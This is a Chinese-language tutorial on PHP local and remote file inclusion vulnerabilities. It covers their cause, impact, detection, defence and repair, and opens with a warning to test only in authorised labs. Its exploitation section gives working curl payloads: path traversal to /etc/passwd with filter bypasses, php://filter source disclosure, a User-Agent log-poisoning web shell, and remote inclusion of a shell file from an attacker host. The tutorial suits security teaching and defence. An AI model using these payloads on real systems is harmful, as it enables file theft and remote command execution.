写在前面:合法学习边界
文件包含测试只允许在自建靶场或授权环境进行。对真实系统读文件、写入 getshell 可能触犯法律。
一、漏洞原理
很多语言有“包含文件”的功能(PHP 的 include/require、JSP 的 include、模板引擎)。如果包含的路径由用户输入控制,就产生文件包含漏洞。
1
| include($_GET['page'] . '.php');
|
用户传 ?page=../../../../etc/passwd,就可能把系统文件读进页面。
两种类型:
1
2
| LFI:包含服务器本地文件
RFI:包含远程 URL 文件(require 允许时)
|
漏洞本质:用户可控输入进入了文件路径/包含流程。
二、影响与危害
1
2
3
4
| 读取任意文件(配置、源码、密码文件)
配合日志/临时文件包含 → Getshell(RCE)
RFI 直接加载远程恶意文件
内网信息泄露
|
风险等级:高到严重。
三、利用 / 复现
LFI 读文件
1
2
3
4
5
| # 目录穿越读 /etc/passwd
curl http://目标/index.php?page=../../../../etc/passwd
# 常见过滤绕过
curl http://目标/index.php?page=....//....//....//etc/passwd
curl http://目标/index.php?page=..%2f..%2f..%2fetc%2fpasswd
|
PHP 过滤器读源码(不执行)
1
2
| curl http://目标/index.php?page=php://filter/convert.base64-encode/resource=index.php
# 把 base64 解码即得源码
|
日志包含 Getshell
先让 Web 日志里写入一句话,再包含日志文件:
1
2
3
4
| # 1. User-Agent 写入 PHP 代码
curl -H "User-Agent: <?php system(\$_GET['c']);?>" http://目标/index.php?page=1
# 2. 包含日志文件
curl http://目标/index.php?page=../../../../var/log/apache2/access.log&c=id
|
RFI
1
| curl http://目标/index.php?page=http://攻击机/shell.txt
|
前提是 allow_url_include 开启。
复现操作步骤
1
2
3
4
| 第 1 步:找 page/template 等包含参数
第 2 步:php://filter/convert.base64-encode/resource=xxx 读源码
第 3 步:或 ../../ 穿越读 /etc/passwd
第 4 步:日志包含/写入 → GetShell(授权内)
|
四、检测
1
2
3
| 参数中出现路径穿越、php://、http://、data://
日志里包含关键字 php://filter、../../、/etc/passwd
请求带异常 UA 后跟随日志包含请求
|
五、防御
1
2
3
4
| 对 include 路径做白名单映射
禁止用户直接控制文件路径
关闭 allow_url_include
对 ..、php://、http:// 等做校验
|
六、修复
1
2
3
4
| 改用白名单/映射表,不用用户输入拼路径
统一过滤 ../ 与编码变体
升级配置关闭远程包含
修复后复测:穿越与过滤器 payload 均被拦截
|
七、小结
文件包含的关键是“用户输入进了路径”。它和目录遍历是兄弟,但更危险——LFI 能读源码、配合日志还能 Getshell。测试时优先找 page/file/template 这类参数。